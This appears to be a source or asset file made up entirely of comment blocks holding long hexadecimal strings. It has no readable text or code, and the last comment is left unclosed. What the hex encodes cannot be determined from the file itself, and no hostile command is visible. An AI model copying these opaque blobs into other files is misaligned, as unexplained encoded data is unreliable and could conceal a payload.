/*6d82a02534c2633a90d17c4f9b9c585dc038aa71bd42d47739ff4bbd941d3ba11a280ce5a4c331528b290b174ce5301abc55929b2fa44c603da414767ec277d9f291ff37ed81bea46f0b2293d86c7e3ecb12bf65984437048600bf960194b3cb7c12e6b19cd0cb78026d3108257e2da0a73fa27766e6f88a061f2a2ea30917b80ce6be35d40868506fe9f3ad7d730879b270e25a7d7e079114450f03573e4c3ba79ae0418634896bcaf3345bc72775f63a7c02fa1d3d9a62dc6a44bb721717a787b79e0edb3c4740fb4f6856eaf0bd6d48b47de23d776d1bfb8543d935f8435ecac1acca56d53d6aee45e2d6d528e2882fb6b7e6590458045aee0b0c463dbd0a06de5cf6e64b5eb2c1c71d87adc8f4577793cf28898a9c4fdeea9e663c1eb91e29af9276e0e86ae9bfe735320f70967d6a2a4be5b003b9bf081d3e599ed3293094b85a0feac3a81193dff809bdbc7bb26ee1cd1b98aaccef11b320b727892d3bbe0a6ad5d0460c3157f8555d6759dff47c4e59593a6563528681ca52dbef29c9ddc2ea979eea8224906035f3394b28c71d09fe0f8bb514ce472899e208c20265f7bcbba8e5c32dcb408220e8a9127858bc6235caef89a8f71bb52b38bbdeb1153dc6875d308815539a26b3be5f227cda0338d95ca3bf8077a51416f2bb1264eb880908f41ce9b64670cced115b5674971e47abe5179730562cefb6046b94e3b15b287c19f67f3c3f915eb00da94f8fe7ead74b1b6174ac58345e21ae070076199fa6be56e0e3da6731c963d7d4e792a15bec09a08691ff434b1e796c198d9fcce8e1949c2a66368dd55fe805d00965ad47fd367f7cb3a0e6e113dd628f3b3db5ef75544359fb1038ac57a8b6c96cc0b7f5dbcc553b6eb069c90a6f0d98d6a91e99345f4a5f776f845d7610e26cc9a8265c6f18ee45dbb78efb42042ba1f18baffccb826b25aff3de3532f8d281de7f49568de8ce77ab58aa4e582f85e368acfd90a721f0afd10bf057c8a68cdaf9ebd08dd49d93c1a841c7c8aefcba9d1b16dee39e037bd9b9e7fe9d2d04f41f9119fb9e6d2ba92e4549f1ef499e79c410e5f014a89ae2037205e29636e0985807986ac0aca322bfdad05c8edd5c3ca981487894d3e26e32e288051dad4b1cbb0703690fb3912389effa3222edd9bf84f48bb198c6d51b07cab744f3c189ee71ec5b71256331291602e1434d0fac128da61e7cb221430d29eb59658fbea36814859fdb2a6495dc7c09e4d73849fc062e4a0c97a6b3ee6061d0a7ea6c2d19d61dc685725ee2c6dfabcd1ed42e94cdac23c7b408a161be21309ab3bb5ebbca27925859afe14aceae3d34ce6c89b95e709f467f55586360e4084d54d72016100dd3b5c29fc51e630259df89fd6fda7f986b731b0817b7c6a4efd735bac57aa30faeca15937f62bc9bdf1d92fe6155fd8c19be2e6687bf6d30071a8e5f9940dc5ae85167af943d11e3bdf3beaaaffbccd661809135aa690ef709bff763df82c82bf3c3167437454e2ddc32827832c2c4ed50602b211546d8c03ef5a487119e15a7af54719982011485d6fe0c7c7c3f678cc19bac3cd21b4bd252372c82f3a5e9c1c2a2fc6a6ba31ded069e7f4b8bd0118c6c21472aee8298f363eeacbc9c8e6431aa08908f7568041455d1c0d7a94da513b21e47d753cfd9f1e371c0e66046a25cfb05163bf5b3e7638c764edb1b1efa3ae8e10b6868178f9fc3c26c0cfd61152469e5d1838ae5a85d5048525aec8503fe3b26693e7764b15df9b7b72c01a306cf7d52a40f9bca115524fa70cafdb0a0ca9fbba05a7564c684f7052bb88ac92babeb89ce5eb1c7bf67131881ff985035d995c7732215ccbbc2e095cedaf15850a58bab65e10109e70008d231f2f90161a80ccf01e8cfb1d469d9dba35ed609ee3c079f13880340d69a0494149553a24184fc6a8244cb37df75eb856bc13e8d84248d5039feee853513e484da9c9323eb6b6bbb2f372193dedc76f0d3e8b7cb6f2cf1b54327056c4b9250941e970173cb2687b73aa315d1f3fa643e22add452f5e4f19f2806ad1dc0fd8f4003642bcaaf478c4645c86c39a37f4567683b50a01f31c2db7b79a30e49f46ef4c09860ccb902ef13d222b98cdbf68527951cd7d7474593adc252059839345fd454ed110e14991ab86c870f58fdd33d672943f97b1d8b0f3dd5ffe692ce4fa8e691644816c9e3f1e4320d3d74b5c72d0957db14e8634bb3427d22ac55cafa0b1626ed6011c62484d8bf128757e48abe2e6ff56789ee43097edd4c0731647fe9c4294dc0a85d1546cd0a90926468b9e0f90b385bd2f7cc0343a5615f595d5f0f0fcb200b01eda34a3eeb320b428d8c2e51b73552c5acf9cc9e892304923b295f6dcd845ea4bb7ffa0e92d3246a5d4312651c7759d89ab1d316d0fc470ebf71c983634c03de3fddcbef539a7b4f891a0511de3daf52e3abd2adb0bc89bda82d6d0482d6a0203652d6ae3d22b58ababf795f0cd58e9f087cb3c80b1dc5671cdd20f74c4d8e5006524e8f00265d5b80d38a66c5ec72fdb030e9923702110e1d3cdeb5eb0b0342ae8d1330d8ae6e77878b793207a87421ab924f8a0f2682ae2183129c3c1884308ba1c3807ba505242062c2314d33edfa99af563c1e46fe205d384a191fb47b21b91b3c7f85f1efe5c971b4b971edf331232a451f36a8b27a81462411e9b4bbe3307ac0fdac5b64b442b1cf89dc6587d1defe759d56572f0b5729e15884dfef64b7f82f18c23d36ed9b0d490c83b8668a05e05e5be5fe952f9450776533f29a6d08b97f36a7b91d8dcdbc15d65b89710c7a93d0892c56*/
/*ba0599071859fc590404ed58c3e88abb305cdc67cd3d5077561bdbe32e7ba47c292d501247312390b02fdd6ad710db26ea5c73c14b2cb5ebb4d61f8b00ca2546c5d09f93f4183df740a3f177ed6616307eefe07051158072f31f9cb1dcd70654b95a72c6e937367c857fa57084ccf20fdd45538406bb50ea11fab8e82a2ed11d7ccd57ea230936814492cf0c2b232218def97834202ebc6fbb348c761acebe25d8bf30413f730b12387ce40764447b8347d6c2822919b86ed0ec3dc377e844f66ff2509a98c7a50bf6cf070d2b6fcc87249c780c385db4a7c6a8550dd097aa0cc6f2858b9271f0b0f10fa92b7d06099d8130b828d75c634c0688effea21867f0b2d36abcdbec5116ecd1ef51af7c97e576433741b08afe6279359b7359be78d246910632e21d41d60f45bf968087badd617710ca4c34f610c56de581ae02a8fae5c421310df4f6131d0741d8e37e4c3a5b5cd3b4e0ab2ce38535f006647a178a217c0d04f3aef6e32bd96c3e74e65cabc32830dce79874053cecb641c7b01b5908abaacaf1f6cf2df7c93691ef8ee2caad6f27417ccd7ad67521dbca41a36cddb5893627f94d729e0773b8197780470aaa0fb2f1c51f8726aed58a62f9fdc7f9c46a7a36836c55e4765ef298ddc5ab5c0f8b5a55c43e167ae242beef57cc7fc3a84728cd578616abe11f17c77a3cb8671d8b0257c83feea387629beac0c2de023a38fa738025865f9d680772fa28b62c5e59a8d59e4995b785c5846bf0666dff3be66319028599cf2bf746817e37b1bb64987c175fc3ca8a022f710314ba1ecb5a08a37feca52136b78cf0cbec10fb2908083ca5b29baa875691eb6bf9255e57452ddc6f9467c6d7064bacdd94ceb0c0aef719add4866267e9ae84f82210281be4470269ae84e88b2f8d2c2aad798e2e98b37fd3bb94b6999eddc69525e1a58884815e5e23532159f5e24d69a6e955d288005cbcab224527756b9faad1248b3b9c611f83da2ecc344e691ff0c5808fa2db52bc0aa00d237e9f4226dc76699058e2f6ff3ef96734d942c019aa6f4f65eff4a3ea3d16d1d895bc92f4a85b379b6f52d64ef560d11a66d09f9e7b8978bd28921444ff574e2af741bfd78bf0b1d71348b19b1abba885d42192da29ee5251b265895b4d39721fbf383a7b709935907d4e9e66cccded1f8e0e5657cfe7221b753217b2c73d6380c742d75ccd485e1688c161c429c3563fb1316440d77123c846ab7a0d56fab5340df81c8d45a60cb8fa17ca6b5778180a7ce8d5c3fbb35652fe7c77f83c035372a9e5bfc597553843d69099642dd0f8aaedc553443dc6c9dcd82a23413e4ccfe1fc807ea88c446f3b2f6aa665b2a40b55ba503f2c54e4aa78ef9009fa57a3a08b943634abe1e016526891df70031526d717878019c15f2a59ceaad05933765fd357d570f7e5e2a2cddabf28722b7527b7a6792ce3357b35f7a58b54ea00c89d87463da2f5662405af8ac250bce0ba3025811e24409a2f785e7a0bf0d11d0217cb0ab03bb3c45407b28f043b80acafdb886e1c9506c5b4a4ec176c11584e7a32395ae2fe4cdd9f4d1906dd509f43a01b4c2395660e3da009761efc588020a0c45135cd343a29f7027b00e88637a48413066130d2c25aa8ca3d759b52eeb45ea8132dc8c211b8884c43b2253210dd47b6b541fd1b08734a02a300fdd0c136316e04163e7c4bf30751dcc7b4c299265eb8d9b89715487ce996dd863d688ad4d384c7f77a01dd6c7cbf522c85447b319ca54fd7948ed60cd07b6bc17796b0f8e6e4bca4cc280c3eaf76cf58d66fed572989d861997e3d9ca4c4cd78b24370acdb36e5a42d2aee2f0c9cbd579f9ea14b29cb1ee981fbf1a63d47ef83f8c89ecbd481035908f6317168880f09fc8a152fe47d9b57a2ea4045d83b3a413dcd327f93151c39fdea68ce4f69e32339d05754c772faa3c0fcf39b33d46ffe50d09050f76216837396600f86c1adc7a80d4e06e0547920740ad05a187f1557ce4f815cd510b7b154522612ef4688721b678000e029f7c32d0e38f3318f72a37d3cdc5bba0e4f8213360751d90a1712cc4f63954a72c181bf85bdf3fcd9c0bda3f0ce4d159f334bb28be535779a79311bd271437e0567cd00c55a8f4cf10233f5cd1ceb1cc5dde1049eed929e7bfb5a97c30c23c50f2cce526cf4c31adf40f8690b7caaa3a0ac82e5825266818fc47f79bdc62d6d7f83c2bf3e6bd883079ad8f8b1521cabc168a325e73543f21b3c00d826c103203464e20d7512668ff0b0ec8eb894b01076c7e1beccf2a06c373c73f7e88408cd9580bd2b6ad2bf8ef6b9e83e78b8807caa88de3a62a29a856ef7aa199206e0f6e8029b17fd9a3fa9246355a2af632c45bd4431e1842759d1dbafe664f662a8dcd5b4520bce79cc1ba830b50664b6d2e4851b86e39a8935d0b7d8fb123fa40f167cd84d222a130e99954368d79c50ee7725698ffd12fcf1fc0727760f0edb0e96ec1c81110c1e27a03f8284b1a963a69e4740e956c21d2575a355da6a02a46b64e1d0636fb2a2e0ab7a9dca2d41bcdfc69f6cad88b63692ac2ccf17306c9ba55dcfd3d32c1343a9e8db49e8c49b8d2440eb6f61885e560c005c192a6a9578bf7efe1d5890c53255c975892851951da6130bf3ee2287ff6e6c8ea1c3fa774c8d040b7acfe5bf7ec8a0b82e58223d751356c2f8f6963c8c6382256f4f0128ce8da5500bd35ec46c82286bf894b3073a9c86313dae3268a89c1b64c53bdc0c3b999dc9cc26425bd52cbaaa3731dbff427f60d61807ba042d03deb5ef7ba46fdcc5feca4b2196e89f6f01aeb554*/
/*756e6ee8ab7eb8f02e89f7893e45137741abcccd76116cd9d5e12afee3a74434447ca2b0565ff9751d8349330e18157a9da5ab8bbf1efc9b174a81526a55753c1979f2901b2b50b3725ced6af35e8169eed604731dc5c30bc7d7b5ab6d10d38b213249ecb7b5208e9ad993b82575f041f99a98d39952fe7f55847c4f6b0b9d659400dcbdf60218a25f4e8dd782d95da34053b18750d11fd010fc01223aaf2dc4d574be6f95e417c2670f318d827d5cf9d5858149c219c6d949ff364478eb0a11b580016e79740a346928dfcbc46e9439fed32f6ddd7517a68f33d0cfb3e700a00b72a5ab4d3a96d8566aa92e015b588fd24ab3e49dc3e68f77e5802fe617e9a8c5ae85dee928c7771b70c97dc55925708835b6e8b4cc6230b0e56b78013e6a2ddcccafd2e318230e51e331054496ba31bb33e1f33d19dd1f296f9401ef323d8c95c6f0a3e68d0a7b872eab0ca23605f3764a0d67608012b082f4b20d72b4cd4200ae2b02bfdd8419a533106de8a7ab1d2dbcb70dcfc3d7d1101ab65447abda3cb06da3fd1ec04255e2837b19cb397422555d27cf9a7c2487849f723b7ffcc52deb791d6ad634e9319165af971da6d9ae16e141a6969920e22b60681f9f147b86174eee71ab5c6e0e13e7aa6316d0a7278560e3c70985e0924f5e44a5bf3eebe33685637719dd8c64309f8b99e1aeb7f195db30b3aa4cedfdc187d4a7c8cba0f21788b550d86d34bd92480d19397776fcca9860de2fd7005e77cddf0925e3f687085983a6b199ceadf92d42acbcc4d4cc1474ee0e798bf1be73f37f9c55233ced75a4b66055eda72f13335ca241f4f4140fba07dd7673df5f9c19611638de2fe508a9db33b96c5521858ae4a5e69fb7fa4df396001cb8076c7dc0c816d22585a61d51c3af45bd7088a76f612adaa3818a8b1b26f9c9dec813b46dcf57df7539aa9e67248235b3299c30fc1b8ea3f65d922754804839dd5f9cee23877f5d344daf47657f63cb7f35cd1334414cdc1fa1a272fd2144f9cd13816530167dad63475050eb29699e7bc4a740fa2aa8ca27b6bbc47106c7b348df1aafefefec1df2c7c204637def51ce36eb9e1634c5b0add0850048c6e937cf51f6f826ddf41079a720c4c3b82bc7232cbf489bcff190ad443f1abe0019c33b5e4b6ade5e06a266a35fd7eeeb5d6259332adbb99e25fe77d59fb0b8a5152f8bbe36c7a082dc0b58d750fb66c910f8896a37e1fd13ffe218c5400a09fc424827045b2e553f690ba8bd5745ecf348cfec90c6afd030b0d0f4d60eac571b6dbd466546bbff5b4ea26636f9c961172c1058f736024ab6b6ece81d4f32ac8ff09f5377d5e2bc74f9cd28efe8253e4522c355258457fbb696acc940755deefec63a455cf05d93262c1a9646fd8d2c71fe7330704365b35c6aaa112cdce7c27fe9a8a93fa202c4688455986333e2875d8e22c9cc191e15f4f652e9bd4b9a16fa16f99ef9d326aa8bf003bea8c9c73888f1be9076c38d08ee3091a94beb4a6e4e9def88eb0b552972aa774166505beadc75bb42b23b5d4cf3bc65583f0d7c1aff45a0062d5e7cc2273d331c63ae9b5f8ca1e4e07fa85813e6293e367041bbc860d45712460afe41465cf287f6a68b83284c99e0a39b41d16801bead6c02062db1be38d73f9a3d02549235ca6e7109a08780c67872a79b3bf0b730519d78e8350a81238efd591181c7618336c83a4a859547c4b6464fd907ed937990ce685946f6807b1b95007d0b1e3d9f96f4115aec97075eb0fa2ed6fed87c3efe053a7f09a2a4602b37bcbdb61dfe5e0d7fd5100d9dd94d44c60499c56d15739bb46ea31d3473f87ad6773d6755172c25ee47688fad5b28f1ead2340bd88d875740a56f534431575d74bc5a2586293c53811c3774b67e54a2cec2a2c8f63c399d9db4a14584bef26a40fc46eb4b7e2a48985a17fadc4d63b95b01f79ce11b7a774010bd6f26f79a45245e63ce4369b504dab055a4a29d67944971feaedc23e87e9b778559cd29b29bb8752bb6cea3fca91e265a415c4a666cbf8c433f4e89f0ebe966ab2cb3c9358c55d2453be4e61ad6015a73f69cf7699d99e53211d9a6ed38e307725ca7355ff6d57b42195b96b0b9f0a3731d4c46242b6592ab29227e620d7c76bfb31df86bb48f779f1f083c705e9892f5620e9cd407cbbddf362f62e3f4fb5de8cc51fd30deb8e8f4368a03ee9832f6ab1c7a88f32110bd0747534767c6b334e5c8c9a8ed41fc1a455e07558439588654392cbaf49b2907d5f2808423c6ed3713280c9e2f7c6fd6fc5093b061a1d1e332e8dc930d5a2d35ff07ea5e1c7aecc9397e5037e57a22263c1b1d312c6d7f3930dbd4fe8178bc7f5484bed9bdf9055f4b28170b7bce12e5316173b6227f544170b7790f5770185b2901305601252dce5908d7cf8e3aa986ea64f6971fdfbfebbb8b92618edc5de90e8025d87af5e15bb75e59cba98ea9ccc076a629fcf934f948665766d8e521f3ec4aad3ec0c01a47324b35d637fb259fb9b6c5ae1743049defc42825a2857bc01047e2a31c0b22f1a53fcdf5a66130e83984f51605117c732e528f1a3b707bd6e9ee7dc39343da17cd0ceb321b1deb586a010bcd7fb324c73d57281c4fb426b789b253d791aa2c6084611cb5bf93dc1857f6ef97f28801dbc955bb43213e214c3a13ca5bc1f56bffe2f2b275d149727f046ec643d0ddf464bd9da5f7b4988aaa49178e87acdabc244ec0cfb28be5aa56077b84188dca7dc1ccd85c67ae888a9d2e870652c6efb5bd4580b5b7a441086b2f24e0890d6d2eca862e1878e649243ac06f11d5bc9497ee*/
/*0a1843c81a8c5a87ef78c84264b86c5584ca2ff4fac271b4316d5a4d8eac0dcde187a3a75d8abde2f079cfe6efb91afb179486ce68a77a91a6196d98947626321137bcb722e6aa21b7485cdf2cc098305c50c1208fcd9599734be98192dc0f37f337936a69c22fae6e46a94008f7ba9e4dd70cf55c93d5a68889d826f9911887e2fa1b0517241f984b2a338ba4952fc61a9e0f38b6de60d564c364846bdff359dd3ffbe31eab71523a0a363c5d28a8072701bf3f8e127b75b8e3848d398b70234263754e04ed1ef0eafcbb1803841c2a5548cbf25fe0a358894935e0e1d1ff94e117e10b876bbbc0682b0d8c9faad1e74e62b3fbb75c62b557dc582539683eb25e713b39b4d17eb8c19097b2f7f73d89d47f8b421d05c868e60e982497db6a25b0ac0d3a6ec2767c609c80fbda5b58184f5772b186c84e8b9ea0f1e0ac354bb6eb7e0a14db313bf3d9236fe04d2f1b777b46bd9fe37f2fcff6f51522997a90a743f17463a70418ceb51302e0e442d35037f1580b678c60d4f1e4a7de39ce88f0c69806da45c3b315890570593f218287846075f760b8cc1987517f93d6a74869df644f0e2cda191ca945e8b5f5818c8859d2b8ec26219001eb9f50daa8c64bca88815057e4296416773788a4d79c58f71c42f1301a8f7b444a9f3c9cfd75eb08814e03348fba76a198c09788da44f14e911d493807ff32eabdd709a369663044fcc171533e2751cfbf6b7ce27b8f926aff2ea55aafa8fec93d5e4938eceec1b6a8369dc7048a175d30b04586f4cf14b284e6759c34b5948651fc0073953173cf2c16a148cbf9d227f55ac42f6cefc532861d0f0c03a3139cff32f2218faa7a0ee10c87490b8612c626693657f8daf9dd3f2d5c8a11d14e8fe92fba6f0406fc124cd9807d16fced197531a11f24732e5b8e0e2606f3a49c959d3fd20566e7a4098504525d70f423a9a6e1df63d605d02f58950f78ebc081ca5d49c4cc78ad25508aa56e4d8b7e6e85fbc9f50de48b8c3f81cf6686981dbe7852bddf0aa8ea1c15014b64f92bc601fa8a4f6181eab92f37f8fb81e1d9e92b43d59a4d1c859d44943e9db8dabc7beaf8ddb72aa91b3d01cff0b6f257070db52a1ca06d4b76e7381323540ed86b3dab0b83e3a75b6e112dfbe960c0b7b4c10c06aa3e52cfa44c7c517f589c1cb6ccf9cf269954f9833b8f96f4ab6115e8950adc1f5b46666dabcfdf7ef7f02548505a7654a45540d07cc2ebde0425d47a15e5d20a521868f0897821f12073566c3312241dde2ade2c01414263fdb71763be4ce5bd5af74e31b4c817ca658926c88a5ce6d2c79fc8763c7d99486ae4cb657967619c5c284e4be93c3fa31349528d91f3738ed268738db525538a5fbaba9136c7098d160d1575f30c407c7d740e8315c387c8798714d80efec310715a656d83284c378c885f8cae624bd413e9b7b40430333e9d1574fb2fd709fc60cffa46ef1baa970855e633c6a66f74e25e31154e67f6a8f8ad7ab148ab0b0560e56c522184bf2a5becc87a3c8dc84468c896680106a615fd5107d908af335f991e3eeae8a4bb77008d905aed46b58ddd8f49a0fcb60e7e79670b36520c4895b82d5edf6fbe3a23857396fc81ebf5d871afc0199f5423f0be6cd6529e0b0ae8c512895fb63c38b1dccff9baa42f90f12bef5e52e794e8c027e701a1bc329d5c60a20c15bf206e5f7c1b94e31656945441f720a998ac89a773d6d0f575d0176799f4653bd749d7150aaecae6a7a255b8b5e0cf126ca071cd74a57d1a6122282ff55923115b8c8dd8d455232876ac0d3ce85dedd6e3469d17ff29a053a365015cb250ca3d853cca273acb23bf658f23314cd1dfd593ba138cbdabf4a3f35a001425334f65a8c6908bf6c248c54b37aa7a1bedae336dc9047e8c6a28b072c3cc78c337a16ad3aac20dd45ce3e90e9c22ccd55b96ff2b3c602525929ec5055bb6d13c6cc8ba3324571f5cf6c6456e42b90361c52d4af3c59f13ed4514e52485fa95e16e9bb3878f9a06371663ba77fc5738d9cd7a33b2f2386ad2a33770f26bba91f255c598bf0769bb4c3bfe7b33be5dbb815ff202e4664e37154fa822b9d771172b7fd06f4b3b2f68353c5fbb60585ca96a634ff032537a28042416c8abc68a9cae99b4a6aa5341ae8c93e8ae9e27de63114a9eef8d8a8d1269f7964df250039a2d0106e39c7350107015e59a93e79aa874f5cbac6b265498c0037c5d35ae8b055b1029500971f7ca8b43fb39f36702a421de4c71733b2a0d72a92d136bae19fec3db36202b4ccaa63633ea2d5e4655bb4c6c53f28c8e63da4f110fa914cbd9ea53f1eac495a6629843370feb3b9c0b83aef8360c535f5b388a675b6600f3456a82a3a3365518b6112424b72c314a3c09acfef6477d1050cb9ab44efaf06b65b191f8ccc76d4842b87bbe8fd02ffef0a4bb46a65824b12a719e4b093206c2a97233cbe07f98ee4a352f149585351d14a235be712e95474368956d3745f48b65b6702c06883446b9f8eeac7d6d4d5c745f7681fabd085bc9e1025212052a87f8b0cad4514055c61ef9df246d77a80640f07e3f47aaf30d0857219d0517c86516c2e9fe26acae017ccfd6616eafa40beb122c34d893219a74eaa114bf10e1244c9ea26eed14da6727a2ca10b16c35d52f5070e01523c1d02cad4756e59e65f6da2a4f3f3f0f2e6317e582e8f672ad4134e43b20d0745df0b58205736a9b0f3abcf42378a0362ee1177e3868d1eb2026ab73dca5f8f37fadb16e9739cfc0c6710df0ead3438b3907841a46573d1e3a23cf0eee6c1c3b2888a33aefc3bcf06395ce*/
/*aa680e86cc148262a0fd3912ec710b1593fb59487386967e43a8d733669112dd6d12f31d9470da26dcf5d48d8be3af4e489e6b579717caa72d5992d0736eec256571f240492d8e0cd142233dde8178ab15fd3a79b3269869a35e5792ed4c77862387f1517c249203ef6646d266b71e5591db012810362010fe557becb893f11635feb67d89ba72a5d00fad9075490b95c0f5e0a0f83a7271196fd1a9ad665a26316526024ca55285beeb83ed6395e801f42f358a20f83a384034697d5940c12f14b7ff1be4ec936ff7ac88c07c66c3fdaba35e9cbdf006b3d2d580fbc3e9400827f6037b7cabbf6e7c9bbe6e4d93b2d16b868802d1804685679cd8dba62940fc3940f953318d0d31c8c70cea3178be514179e60092325e12d638c1cd1e1e83abff67998bcc7400ba5bd9daf541fad866399593fa95693a88a740e256def97b34064f18257548a09d4da81c14510064c0718c1f8f68809278cac2516d016d88818fe02ae1d7b3cef99b6f9034dcc31e9c963343a2d1962b4852085a5e2e56c9fef2567a655a69a9a30844aed2cc6f6d30e0d05934f2ae3967f0e21b6b6ac146dbdf72e6abd46ec0e00c75908da62eb9bc89645a519307001cf7392eaa9b8cd8a784325b921a37f25f1bbfe1c6f70d5570689a03f158354659841b5830faab8c431f4a3c77efd228a6be2b8b112466c14c9b193a1d854676ca9e20f7fe97184ed714571919d1bd35342da484c5606f326b882ce607d10c8522da1e65b1fa1afda3909fb935ca8c64eb2aa9730b93b757a8b85ab40fbaa374b119b0b3e8a126048b2db3a834ee1660833d73e1b68e69617ce8837b6a1fe42d3a917e1c4daf288c7b776d31c72e3df341b2c89539924670dda50cb8f7d879c2480ddc811a44717e7d7c4e17d963c7e460f6ddfcd34abdafdbbcbf118440a00f4499cb0a9d5e338b2fa0c19eefb2238949dd4f00f8d063740be8bed97a6d49edd975fc39a5a548455c49f44d0f5ba416f61f093f3e19918270d7496ea0a97c22394c227e9f70520c42bf41ad820048615e707443fdc7d139ca9104353c8824eeebf52090eb5e0ce47cdc749d96476fea1163dfd4c1ac20c9c7dc182d1538a2e34d5a48ede2e467a2b290710aaa3df89951d7f660aa51f473792203d335edafb1a7aebbe4d386a0cd04c19d549595f5aefc89d87483e14d15711751d361d5246870976d379c16226a7d2dbe2a1dd8e799db4f69d79cc237875c1252477f0245756bd63d70f45d05e4cc12fa532f06269dd6e5deee4190617a746f93762d0120dbd02d9bc559c8f6d57034d3e7e3263d58ee3bbf970a8843dfa97e14c0a2b561c6feff9a9baff01835df4dc20bc08e7910934416fe267b2f71fa92cdff5ab0a0234945d06d77c2693e051b36fa0c282e2602dc4026d200e657ad1759378c7e86e66498064a659ae75444c96f27c3aeaeaf863f99473f11e8e56cda997253567e32fea6162c1af12a74372971f44ac6284f6d71ab133603a10800114cf06e46c052a9273488dd04f15d952d62517a7370aea8cc13fb6a4684a66c9501064001a0bddecc585302be9469f7965ad5b885ec7d6c53b4a2d8d09eae16fa7fa996391ff5fe65d7a049cc49428ba01fae1c7aee72e9f9f0351e0372441dd28c6aad1741ce34d7721509b829d29830bb49db198267e1b65573ffa72541385f818392ed42beb8c31fa0f4999e71ee377e1db8d6af0021c21d72f36667566499b52318c95dcbda7a704f3c7f175f47d2ce960da97a621005644b6c50c0e63d88f509cf7dfdafcde7b68bd081c9c83e05c33da3cb6b82ec751933e317f75224c79e0bd60f9f1c004928b35bb4b3cc66bb9f3ad23c84cee47091de3abeecfbedb1b6cfe533bd75befc2d1c98da4326c3a48f2e4f1522326023540e60f0c9636e81fc839213bf8ae1bf0094f8e7ef96f3f5126328fc97fb5502143b72abd8b80a2462a19f7bcc29715ad3a02d4839070c4985bcf1381efea65b8df7d5231a273701945aa584d22710684fa23a164e7b94286c106e16b78014889ff433697d9232b41e3714ab8ce2fa7a95682d6cfc2d7af92c6ccb2455cca5bbeacfc37d95e5793d4d2b9834bd731076b90167ca73445c3bbef1f9f0c3cce880c75eb5d42dee8a508eb524b7f67d6900890d96baaf84d33168c1c94d0a7308439eeae0a87f5e0cfce5003844d276c87c9986671aa50f9f8153e1db0c91b969214c0cd79cb4e781fd7fcabd8a6906e3a7f5a232b303340f98733d4db9d919b71b79e4eaec202cc9eb7b033163a235b297d45f5ff5337b5416b5ef3344706f09ce31db906f481280650792e2f994ae7912cd1e3bee9182052d686eaf00af7f12e613595f44e4a8c03dc43dc4334f8c924656633a70e61581965b3c9aaab23a7c0e67160bb6c333f3386ea1b1caf368f7a9f394fc89c904f7a345d35f5d4efddeb57381072a5ca7eb6fe3f0ec15abfc211efeda6a9acf0be9bba3cd127c7e7285bb200fe35b4b687e8a305d2c1d9412161184e3eff450c7ddce43551ba4a7745ca7084c482fbd2a359a9c5f5660b1bf5f3871530d0abcb09ac729a8b3ab3acb7065ffcfc03ebb3a25385eda4a9eebc6dd33ad9368e6476c0d98f2b3d150dec6781b34126bd1185c420812bd0345c1faf09c9498eb18372163667f7f9bc21c8152fa508ded10dca089a68e6027bd5740ec76e975a05edfd21807a3fbfb0588d4ae3b5a2234551cc3061da571cab0062a1bf74aed3043ef700d5d8fac1284a8677069cd919897ec92bb1ea59c6f23ed7eb6e4a21e0dd966a1e69fe6488b409e39ed468feaef462be638*/
/*296f80c7c3b329d068cc274f57cff6e56460b143388cdac5d7a4838546f95d54fe7e82114c14d2f1743d049f1f2e20b74ce170c4018e318821fe97d46528dd879564be050478a983ce0b4a16c1286b3dcff7598545e05ee862ac16c5ef3ba3989cc3e6ef8af40f4f2be1f0b8f7870a5a346464b04020d3317f5b8f9619fac41ea3d6ed65307a1b8c703b886afaa2c32ce57a1a69b1559664a62137d2fb07e9bc45e24affca51e391862794004fb8f6f7c7320ecbf7ac65f15253a07716c208c77e7ec17e8bffcab12f73ca1e3d9b8bca551211048ea93580c548c84c3cf7fad4c632c425b122de43375b41ae7c97301fdcec0b0b38f4cc56606f97d6415b811671b340bcf01c17fca58cbf5898c300d38afcec8cb236ec9632f471bcaab4c4274af8477a54fa024939570a00cbfcafaba361dfc2f38e82994665a30c360efadadf53d0b9e9ae82953ee2da594775d24dd3b920e2ab2b7ce4df7d205cee376ecc7a3af608b944bf54ca309d27291bda002bfe8f29b50badb89d88448a8990f53eccd7e656362c2346ce38a748b41f66b7e9eaf7f904573a4f7ba148785ddf1101a7baf8213a80017e10bfed6d873cc4e70733aaa8f4c1a981b8d3c10a32d91edd04f928f397939da1ff24d1ceb0f519f96007f87d1566f98e749c81e4296acd1abefdd8b339f001d4547ba2311d627ee526819deffde7a9087d37f86fb8462cb9f4d59b824aa5b57a1ff1c6b592add1ebb3da8aac026706f33c73570bcf81a6a7c72c144c0e1a82da10637837aceae500dfcc8ae3834ec8adb1402734458970af63a903a16599e53cb5b474412c129e1fc3713b78c4a718a3d96cdface1f7d1c2f8bacd29d04c05efaaeeac77e8c8652c3b24e3afa58a4342664ee9b5596c7d4735b470d1e272f055c2d2f0b5bdd310eca4fe3ea3faeb500e2345ebab2036665b5b7b2a1693a80bcabe40c8c92dcf106fce0d3a81bed19d48ead791154c3e00272a7bc2754c9c35bd24cad9359d0992be27d12381d45ae977fa28fa85cc5e1a07ed2b0769afd57758567f8ed3089d2dd73f3bc6b741aa0851735a8bcee2126bd7254a07464321ed453e5f1480f4d4b38d8aa12fa75c1ca15ddf7df0e8fd262c938a6d351c002155385de2a62e0105bb999261df79488f063ddf71b1bd16d458843c2f7b8915cda43f5158db4a7a6d85fe0d98ad0ff474f05e7a25196984451008e6219deaa103316ce369c0d76216e109ec8bbd557858659835647fab1ff9db6b74164e1eeecc0e8a38fb11b0bc54a1a3b7881abaad18ce947c6bbccfae19ff1777799e27d8cd0d600cd521823705513c60f6e647d60020037e711983a950f3a0058dd2163c695549d8630d2578d35709ba6a25017e28242452e2859cba5f2bdb362b647276fe7e9756b554a15293a428ca0c035105926a731996fb948a63890bc62cef236b15028639210c9b534465bd75255cf59bf094d4a602457c789c804a03b49bc859199358d52d97d126edacf32c37e8ac6292db7ee2350818fe0840ab2907ab0f7d19e141c8330062d9c657c147e2325839623d6ad632e298173a1f33b11fe8c180a563ff55f46f5cb8b9a97f180524816042c2f3bdbdf11f678bbd992ae91cbb2ea9d96511509b0edfc0b2b3d047c3d45dbb675644b49492974d769c66a13a95f540b99c5f89358569d99b8714b7004347668941fa178c1863141adee9f2f46de4b1c29e4243144dcf9c3f9d670d217edf249570cbaa0a1cc88878dcc435ce81592b334251ff5af7f36d8326f98f6a88f4a728e7d1297ca861be8b30a621fad3d1345a6990b9a255e1ae8dbeb4019ae164f8ed63953314745cd993febe5e4851b4bc601db0e3122d39b796796905ede27649c6cc24e07675843f9e24be1112f9918ef55d4925ee2827e7f95c72b5ea69a2fe04d3d17e1946b30e744004221b75bad141057762f048cfaa3c360d0c1aa489473a0615fcde128590a81705e2da3b8404f655abed67f23ff2a351880b6aaf2a26b1bbc2f35f653c2ca0a92e2dd